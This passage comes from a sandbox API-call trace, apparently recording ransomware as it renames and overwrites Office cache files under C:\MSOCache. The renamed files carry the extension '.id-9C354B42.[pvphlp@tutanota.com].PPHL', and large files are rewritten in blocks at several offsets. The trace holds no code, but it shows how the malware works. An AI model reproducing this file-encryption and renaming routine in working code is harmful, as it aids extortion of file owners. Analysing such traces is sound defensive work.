(lpString=".docx") returned 5 [0073.732] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0073.732] lstrlenW (lpString=".pdf") returned 4 [0073.732] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0073.732] lstrlenW (lpString=".xls") returned 4 [0073.732] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0073.732] lstrlenW (lpString=".xlsx") returned 5 [0073.732] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0073.732] lstrlenW (lpString=".ppt") returned 4 [0073.732] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0073.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0073.732] lstrlenW (lpString=".zip") returned 4 [0073.732] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0073.732] lstrlenW (lpString=".rar") returned 4 [0073.733] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0073.733] lstrlenW (lpString=".bz2") returned 4 [0073.733] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0073.733] lstrlenW (lpString=".7z") returned 3 [0073.733] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0073.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0073.733] lstrlenW (lpString=".dbf") returned 4 [0073.733] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0073.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0073.733] lstrlenW (lpString=".1cd") returned 4 [0073.733] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0073.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0073.733] lstrlenW (lpString=".jpg") returned 4 [0073.733] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0073.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0073.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0073.733] lstrlenW (lpString=".doc") returned 4 [0073.733] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0073.733] lstrlenW (lpString=".docx") returned 5 [0073.733] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0073.733] lstrlenW (lpString=".pdf") returned 4 [0073.733] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0073.733] lstrlenW (lpString=".xls") returned 4 [0073.733] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0073.733] lstrlenW (lpString=".xlsx") returned 5 [0073.733] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0073.733] lstrlenW (lpString=".ppt") returned 4 [0073.733] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0073.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0073.733] lstrlenW (lpString=".zip") returned 4 [0073.733] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0073.733] lstrlenW (lpString=".rar") returned 4 [0073.733] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0073.733] lstrlenW (lpString=".bz2") returned 4 [0073.734] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0073.734] lstrlenW (lpString=".7z") returned 3 [0073.734] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0073.734] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0073.734] lstrlenW (lpString=".dbf") returned 4 [0073.734] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0073.734] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0073.734] lstrlenW (lpString=".1cd") returned 4 [0073.734] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0073.734] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0073.734] lstrlenW (lpString=".jpg") returned 4 [0073.734] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0073.734] lstrcmpiW (lpString1=".cab", lpString2=".PPHL") returned -1 [0073.734] lstrlenW (lpString="ProjLR.cab") returned 10 [0073.734] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0074.075] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x307ff1c | out: lpFileSize=0x307ff1c*=8265165) returned 1 [0074.075] CloseHandle (hObject=0x1fc) returned 1 [0074.075] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0074.075] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.075] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0074.224] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0074.224] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0x0) returned 1 [0074.224] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0074.224] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.245] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0074.245] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.273] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0074.273] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0074.273] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b40058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.292] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.292] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x307fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0074.659] SetEndOfFile (hFile=0x1fc) returned 1 [0074.659] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fe3fc0 [0074.665] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0074.665] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fc0*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0074.667] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0074.667] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fc0*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0074.669] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0074.669] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fe3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fc0*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0074.672] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fe3fc0 | out: hHeap=0x5d0000) returned 1 [0074.672] CloseHandle (hObject=0x1fc) returned 1 [0074.673] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0074.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0074.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0074.673] lstrlenW (lpString=".doc") returned 4 [0074.673] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0074.673] lstrlenW (lpString=".docx") returned 5 [0074.673] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0074.673] lstrlenW (lpString=".pdf") returned 4 [0074.673] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0074.673] lstrlenW (lpString=".xls") returned 4 [0074.673] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0074.673] lstrlenW (lpString=".xlsx") returned 5 [0074.674] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0074.674] lstrlenW (lpString=".ppt") returned 4 [0074.674] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0074.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0074.674] lstrlenW (lpString=".zip") returned 4 [0074.674] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0074.674] lstrlenW (lpString=".rar") returned 4 [0074.674] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0074.674] lstrlenW (lpString=".bz2") returned 4 [0074.674] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0074.674] lstrlenW (lpString=".7z") returned 3 [0074.674] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0074.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0074.674] lstrlenW (lpString=".dbf") returned 4 [0074.675] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0074.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0074.675] lstrlenW (lpString=".1cd") returned 4 [0074.675] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0074.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0074.675] lstrlenW (lpString=".jpg") returned 4 [0074.675] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0074.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0074.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0074.675] lstrlenW (lpString=".doc") returned 4 [0074.675] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0074.675] lstrlenW (lpString=".docx") returned 5 [0074.675] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0074.675] lstrlenW (lpString=".pdf") returned 4 [0074.675] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0074.675] lstrlenW (lpString=".xls") returned 4 [0074.675] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0074.675] lstrlenW (lpString=".xlsx") returned 5 [0074.675] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0074.675] lstrlenW (lpString=".ppt") returned 4 [0074.675] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0074.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0074.675] lstrlenW (lpString=".zip") returned 4 [0074.675] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0074.675] lstrlenW (lpString=".rar") returned 4 [0074.675] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0074.675] lstrlenW (lpString=".bz2") returned 4 [0074.675] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0074.675] lstrlenW (lpString=".7z") returned 3 [0074.675] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0074.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0074.676] lstrlenW (lpString=".dbf") returned 4 [0074.676] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0074.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0074.676] lstrlenW (lpString=".1cd") returned 4 [0074.676] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0074.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0074.676] lstrlenW (lpString=".jpg") returned 4 [0074.676] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0074.676] lstrcmpiW (lpString1=".manifest", lpString2=".PPHL") returned -1 [0074.676] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0074.676] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0074.835] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x307ff1c | out: lpFileSize=0x307ff1c*=1857) returned 1 [0074.835] CloseHandle (hObject=0x15c) returned 1 [0074.835] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0074.835] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.835] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0074.835] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.835] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.835] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0074.836] GetLastError () returned 0x0 [0074.836] ReadFile (in: hFile=0x15c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x307fed4*=0x741, lpOverlapped=0x0) returned 1 [0074.837] WriteFile (in: hFile=0x180, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x307fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fc9c*=0x750, lpOverlapped=0x0) returned 1 [0074.838] ReadFile (in: hFile=0x15c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x307fed4*=0x0, lpOverlapped=0x0) returned 1 [0074.838] WriteFile (in: hFile=0x180, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x307fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fc9c*=0x10a, lpOverlapped=0x0) returned 1 [0074.839] SetEndOfFile (hFile=0x180) returned 1 [0074.839] CloseHandle (hObject=0x180) returned 1 [0074.839] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.839] SetEndOfFile (hFile=0x15c) returned 1 [0074.840] CloseHandle (hObject=0x15c) returned 1 [0074.840] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0074.840] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1 [0074.840] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0074.840] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0074.840] lstrlenW (lpString=".doc") returned 4 [0074.840] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0074.840] lstrlenW (lpString=".docx") returned 5 [0074.840] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0074.840] lstrlenW (lpString=".pdf") returned 4 [0074.840] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0074.840] lstrlenW (lpString=".xls") returned 4 [0074.840] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0074.840] lstrlenW (lpString=".xlsx") returned 5 [0074.840] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0074.840] lstrlenW (lpString=".ppt") returned 4 [0074.840] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0074.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0074.841] lstrlenW (lpString=".zip") returned 4 [0074.841] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0074.841] lstrlenW (lpString=".rar") returned 4 [0074.841] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0074.841] lstrlenW (lpString=".bz2") returned 4 [0074.841] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0074.841] lstrlenW (lpString=".7z") returned 3 [0074.841] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0074.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0074.841] lstrlenW (lpString=".dbf") returned 4 [0074.841] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0074.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0074.841] lstrlenW (lpString=".1cd") returned 4 [0074.841] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0074.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0074.841] lstrlenW (lpString=".jpg") returned 4 [0074.841] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0074.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0074.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0074.841] lstrlenW (lpString=".doc") returned 4 [0074.841] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0074.841] lstrlenW (lpString=".docx") returned 5 [0074.841] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0074.841] lstrlenW (lpString=".pdf") returned 4 [0074.841] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0074.841] lstrlenW (lpString=".xls") returned 4 [0074.841] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0074.841] lstrlenW (lpString=".xlsx") returned 5 [0074.841] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0074.841] lstrlenW (lpString=".ppt") returned 4 [0074.841] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0074.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0074.842] lstrlenW (lpString=".zip") returned 4 [0074.842] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0074.842] lstrlenW (lpString=".rar") returned 4 [0074.842] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0074.842] lstrlenW (lpString=".bz2") returned 4 [0074.842] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0074.842] lstrlenW (lpString=".7z") returned 3 [0074.842] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0074.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0074.842] lstrlenW (lpString=".dbf") returned 4 [0074.842] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0074.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0074.842] lstrlenW (lpString=".1cd") returned 4 [0074.842] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0074.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0074.842] lstrlenW (lpString=".jpg") returned 4 [0074.842] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0074.842] lstrcmpiW (lpString1=".cab", lpString2=".PPHL") returned -1 [0074.842] lstrlenW (lpString="OfficeLR.cab") returned 12 [0074.842] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0074.842] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x307ff1c | out: lpFileSize=0x307ff1c*=14127746) returned 1 [0074.842] CloseHandle (hObject=0x15c) returned 1 [0074.843] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020 [0074.843] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.843] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0074.843] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), 